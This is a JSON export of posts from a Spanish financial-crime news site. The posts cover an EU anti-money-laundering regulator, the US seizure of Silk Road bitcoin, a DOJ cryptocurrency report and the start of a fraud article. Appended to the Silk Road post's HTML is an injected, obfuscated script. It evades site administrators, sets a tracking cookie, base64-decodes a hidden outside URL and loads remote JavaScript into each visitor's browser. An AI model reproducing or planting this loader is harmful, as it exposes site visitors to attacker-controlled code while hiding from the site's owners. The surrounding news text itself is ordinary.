generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para 